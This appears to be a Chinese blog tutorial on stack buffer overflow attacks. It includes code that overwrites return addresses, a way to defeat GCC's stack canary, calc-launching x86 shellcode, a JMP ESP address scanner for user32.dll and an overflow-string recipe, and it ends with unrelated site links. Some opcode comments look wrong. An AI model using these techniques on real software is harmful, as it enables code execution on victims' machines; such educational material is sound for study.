当前位置: 首页 > article >正文

栈溢出攻击

                                                              《目录》

栈的初始大小及修改

栈溢出攻击原理

ShellCode

动态搜索指令地址

栈溢出攻击实例

Metasploit自动化

栈溢出漏洞案例:冲击波蠕虫

换算公式

 判断栈的增长方向

ShellCode 存放的三种方式


栈,是一种数据结构(后进先出)。

程序的运行都需要用到栈,图中的 FP 是栈帧,通过栈帧的指引可以实现函数的多级调用。

  • 栈帧在 ARM 处理器中分别是:SP、FP寄存器;
  • 在 x86 处理器中分别是 esp(栈顶指针) 、ebp(栈底指针);


栈的初始大小及修改

我们知道,栈的空间是有限的。

  • 在 VC/VS 下,默认是 1M;
  • 在 C-Free 下,默认是 2M;
  • 在 Linux GCC 下,默认是 8M;

如果程序使用的栈内存超出最大值,就会发生栈溢出(Stack Overflow)错误 或者是 段(Segmentation fault)错误。

栈的大小是多少,我们是可以设置的。

实验环境:手机编译器 C4droid (Linux GCC编译器 和 在Linux上运行GCC差不多)、C 语言。

  • 查看栈大小:-ulimit -s

默认大小是 8.192 M 左右,文章末尾有换算公式。

算成 8.2 M 为例,可以开 205,0000 个 int 型数组,换算过程见文末。

正常运行:

#include<stdio.h>int main( )
{int arr[2050000] = {0};  // 如果不赋值就是声明变量不会占内存,如 int arr[2050000]。
}

开到 2100000 时,程序发生错误。

#include<stdio.h>int main( )
{int arr[2100000] = {0};  
}

  • 修改栈大小:ulimit -s 102400 

102400 = 1024 * 100,就是开 100 M,第一次就看一下成不成,不成再加......


栈溢出攻击原理

栈溢出攻击:栈上的某个数据过大,覆盖了其他的数据。

在程序中,下一个调用哪个函数取决于当前函数的栈帧。

如果我们修改了栈帧,就可以把我们的构造的恶意代码放到当前函数的栈帧。

因为 C 语言对边界检查很宽松,因此修改栈帧很容易!!!

构造恶意代码,如常见死循环:

// 病毒代码
void shellcode( void )
{while( 1 )puts("virus run success !");
}

用户编写的程序: 

#include<stdio.h>void target( void )
{int  a[ 4 ]; // 核心代码a[ 6 ] = shellcode; // 也可能是 a[5]、a[7]、a[8] ... , 一般和数组长度(4)差 3 个字节左右// shellcode 是我们构造的函数名,函数名就是地址 // 把文件编译为可执行文件(a.out)后,输入:readelf -s a.out | grep shellcodeputs("target");
}int main(void)
{target( );puts("main\n");return 0;
}

运行起来,效果是这样:

死循环,这样就执行了恶意代码。

但其实我用的编译器是 TCC,TCC 是 C语言标准的完全体现。

C 语言是怎么设置,TCC 就怎么实现;而 GCC 对于 C 语言很多危险的地方都有防护措施,如数组越界的防御机制。

GCC 的防御机制,是在数组末添加一个随机数。

靠这个随机数判断数组是否越界,如 int a[4]。

数组是从 0 开始,值被存储在 a[0]、a[1]、a[2]、a[3] 中,a[4] 这个位置被设置为随机数。

a[4] 这个数组被定义的时候,会是这样子:

a[0]a[1]a[2]a[3]随机数

程序运行时,GCC 会看随机数是否改变来判断数组是否越界。

破解方法,也很简单。

提前申请一个变量用来保存 a[4] 这个随机数,运行恶意代码后,再把 a[4] 赋值回来。

// 绕过 GCC 随机数防御机制
void TarGet( void )
{int  a[ 4 ];int rand = a[4];        // 定义一个变量保存随机值a[ 6 ] = shellcode;printf("TarGet\n");a[4] = rand;              // 再赋值回去,不要怕,正大光明的过去。
}

运行一下,恶意代码就执行啦,好不好玩。

或者 关掉 GCC 的栈保护机制:

  • gcc -fno-stack-protector 文件名,-fno-stack-protector 就是关掉栈保护机制。

以上,是栈溢出原理分析,通过数组溢出导致覆盖了函数返回地址。


ShellCode

实际上,我们不可能通过修改程序达到修改栈帧,不过,原理都是获取栈帧的地址后改写!

栈溢出:通过对局部变量区的溢出,来覆盖返回地址,把返回地址改成 shellcode 的地址。

于是,当函数退出时,变成了执行 shellcode。

比如,打开计算器。

// system("calc.exe") 打开计算器char shellcode[] = 
"\x88\xE5"              // mov esp, ebp
"\x55"                  // push ebp
"\x88\xEC"              // mov ebp, esp
"\x33\xFF"              // xor edi, edi
"\x57"                  // push edi
"\x83\xEC\x08"          // sub esp, 08h
"\xC6\x45\xF4\x6D"      // move byte ptr [ebp-0ch], 'm'
"\xC6\x45\xF5\x73"      // 's'
"\xC6\x45\xF6\x76"      // 'v'
"\xC6\x45\xF7\x63"      // 'c'
"\xC6\x45\xF8\x72"      // 'r'
"\xC6\x45\xF9\x74"      // 't'
"\xC6\x45\xFA\x2E"      // '.'
"\xC6\x45\xFB\x64"      // 'd'
"\xC6\x45\xFC\x6C"      // 'l'
"\xC6\x45\xFD\x6C"      // 'l'
"\x8D\x45\xF4"          // lea eax, [ebp-0ch]
"\x50"                  // push eax
"\xB8\x7B\x1D\x80\x7C"  // mov eax, 7C801D7Bh
"\xFF\xD0"              // call eax
"\x33\xDB"              // xor ebx, ebx
"\x53"                  // push ebx
"\x68\x2E\x65\x78\x65"  // push 'exe.'
"\x68\x63\x61\x6C\x63"  // push 'clac'
"\x88\xC4"              // mov eax, esp
"\x50"                  // push eax
"\xB8\xC7\x93\xBF\x77"  // mov eax, 77BF93C7h
"\xFF\xD0"              // call eax 
"\xB8\xFA\xCA\x81\x7C"  // mov eax, 7c81cafah
"\xFF\xD0";             // call eax

我们调用函数system,不是根据名字调用,而是地址,地址在 xx.dll 库中。

我们可以用 C 语言写出功能(弹计算器),反编译看汇编代码,提取机器码,组装成shellcode。    

测试代码:

#include <stdio.h>
#include <windows.h>
int main(void)
{char shellcode[] = "...";((void(*)(void))&shellcode)();
}

能不能运行成功,主要是函数地址对不对(不同系统地址不同)。


动态搜索指令地址

如何找到一条汇编指令在内存中的地址呢?如 JMP ESP。

首先,我们得百度一下这条指令的机器码,如 JMP ESP 的机器码是 e4ff。

其次,我们选择一个常驻内存的 dll(系统一启动,就存在内存中),如 user32.dll。

#include <stdio.h>
#include <windows.h>
#define DLL_NAME "user32.dll"int main( ){BYTE *ptr = NULL;int address;BOOL done = false;HINSTANCE handle = LoadLibrary(DLL_NAME);if( !handle ) { puts("没有这个 dll"); return -1; }ptr = (BYTE* )handle;for( int i = 0; !done; i ++) {  // 暴力搜索当前空间try {if( ptr[i] == 0xFF && ptr[i+1] == 0xE4 ) {  // jmp exp 地址是 0xffe4address = (int)ptr + i;printf("找到这个 dll:0x%x\n", address);}} catch(...) {address = (int)ptr + i;printf("找到这个 dll:0x%x\n", address);done = true;}}return 0;
}


栈溢出攻击实例

栈溢出一般是结合 C 的某些库函数攻击程序,如 strcpy()、gets() 等。

  • strcpy() 是拷贝函数,结束标志是 '\0';
  • gets() 是输入函数,结束标志是 回车符;

精心构造输入数据,覆盖 '\0' 修改栈帧;GCC 编译器绕过防御机制同上。

实验环境:kali (linux GCC)、C语言。

  •    vi  stack_overflow.c

  •    gcc stack_overflow.c

   因为使用 gets() 会警告一下。

  •    ./a.out

   输入密码,我们知道密码是 1234,除非我们能修改栈帧否则输入的密码都是错误的。

    看这个程序就知道, gets( ) 出现的地方是可以进行栈溢出攻击来修改栈帧的。

    破解还需要一些汇编语言的基础,gets( ) 与 strcpy( ) 类似。

    ······

    构造攻击字符串:任意字符串(弹药) + JMP ESP(搜索功能,类似GPS)+ shellcode(弹头)

void print(char *buf) {char msg[256];strcpy(msg, buf);cout<<msg;
}

   

    按照栈空间所示,我们需要精心构造字符串(32位系统需要 259 个字符、64位系统需要263 个字符),让msg恰好把 ret 返回地址 覆盖成指令 JMP ESP(并不覆盖成 shellcode,因为 shellcode 地址是不能确定的,每次运行地址都会改变,所以改成一个能动态搜索 shellcode 地址的指令)。

     JMP ESP 就会从 ret 返回地址 下面的地址开始执行(buf)。

      所以,shellcode 也存放在 ret 返回地址 的下面。

      构造攻击字符串:任意字符串(弹药) + JMP ESP(搜索功能,类似GPS)+ shellcode(弹头)

      构造攻击字符串:259个a + JMP ESP(动态搜索shellcode地址) + shellcode(启动,弹出计算器)

      比如,打开QQ,别人发消息过来,莫名其妙的打开了计算器,这个就是底层原理。

      如果我们看到一个函数,存在栈溢出,那我们就画出内存分布图,计算一下构造多少字符串可以覆盖返回地址。

补充资料:

    《栈溢出的利用》

    《0day安全,软件漏洞分析技术》

    溢出漏洞的根本原因,当前计算机体系(存储过程)未对数据和代码明确区分。

    我们一定要对函数进行边界判断(严进),像 C 库里面的函数如 scanf、get、strcpy 是没有进行边界判断的,什么输入数据就可以接受,这很不安全。


Metasploit自动化


栈溢出漏洞案例:冲击波蠕虫

  • 漏洞:冲击波蠕虫(疾风病毒)
  • 编号:MS03-26

是一个接口引发的:

hr = CoGetInstanceFromFile( pServerInfo, NULL, 0, CLSCTX_REMOTE_SERVER, STGM_READWR,L"C://1234561111111111111111111111111.doc", // 丢五个参数1, &qi)  // 问题就出在第五个参数,引起了溢出,当这个文件名过长时,会导致客户端当本地溢出(里面的 GetPathForServer() 只给了 20 个字节的空间,但是用的是 Istrcpyw() 拷贝)


换算公式


 判断栈的增长方向

#include <stdio.h>
#define ADDRESS_FUNCTION(arg) &(arg)
static int stack_dir;  // 判断栈的状态,或下、或上。void find_stack_direction( void )
{static char *addr = NULL;     char dummy;              if (addr == NULL){                           addr = ADDRESS_FUNCTION(dummy);find_stack_direction( );  }else{if (ADDRESS_FUNCTION (dummy)  > addr)stack_dir = 1;          elsestack_dir = 0;         }
}int main( )
{find_stack_direction( );printf("栈的增长方向 : %s\n", stack_dir ? "Stack grew upward" : "Stack grew downward");return 0;
}

也可以开一个数组,通过对比整个数组的地址,若是 a[ i ] > a[ i + 1 ]  栈的增长方向是向下,反之向上。


ShellCode 存放的三种方式

第一种:每次执行程序,shellcode地址都会变,需要动态搜索

第二种:会破坏上层栈的数据

第三种:不会破坏栈第数据 

http://www.lryc.cn/news/2414376.html

相关文章:

  • 法语常用俚语
  • 解决因d3dx9_32.dll缺少无法启动运行问题
  • Java中的递归算法
  • 集线器、交换机、路由器工作原理区别
  • [机器学习笔记] 混淆矩阵(Confusion Matrix)
  • forward和redirect的区别
  • db4o学习笔记(四)、db4o查询详解续
  • VMware虚拟机安装windows server 2012 R2教程(图文版 超详细!)
  • Visual Studio .NET 2003无法创建或打开应用程序。问题很可能是因为本地Web服务器上没有安装所需的组件
  • java filter mapping_Java Servlet Filter的两种映射方式
  • 天堂地狱启示录
  • 商城系统商业授权的那些事儿
  • 简析HTML七种网页加密解密方法
  • STM8S自学笔记-005 延时函数的3种方式
  • 泰坦尼克号建模分析-你能活下来吗?
  • 高分一号PMS相机多光谱和全色数据预处理
  • VUE通用后台管理系统(一)登录
  • python入门教程(非常详细),从零基础入门到精通,看完这一篇就够了
  • LVM----扩展/缩小VG与扩展/缩小LV
  • 多目标优化算法平台PlatEMO的基本使用方法
  • Java 反射 java.lang.reflect包
  • Hive--数据抽样的常用三种方法(随机/数据块/分桶)
  • 【echarts】使用心得之ChinaMap
  • DL2-TensorFlow2.0编程基础
  • NetBeans配置Tomcat
  • 中国排名前100的IT公司
  • SVN入门教程
  • [转]Centos5 下安装/配置lvm使用reiserfs文件系统
  • 北京公安局出入境管理处地址
  • Spring配置文件applicationContext.xml中bean>>property>>name属性的含义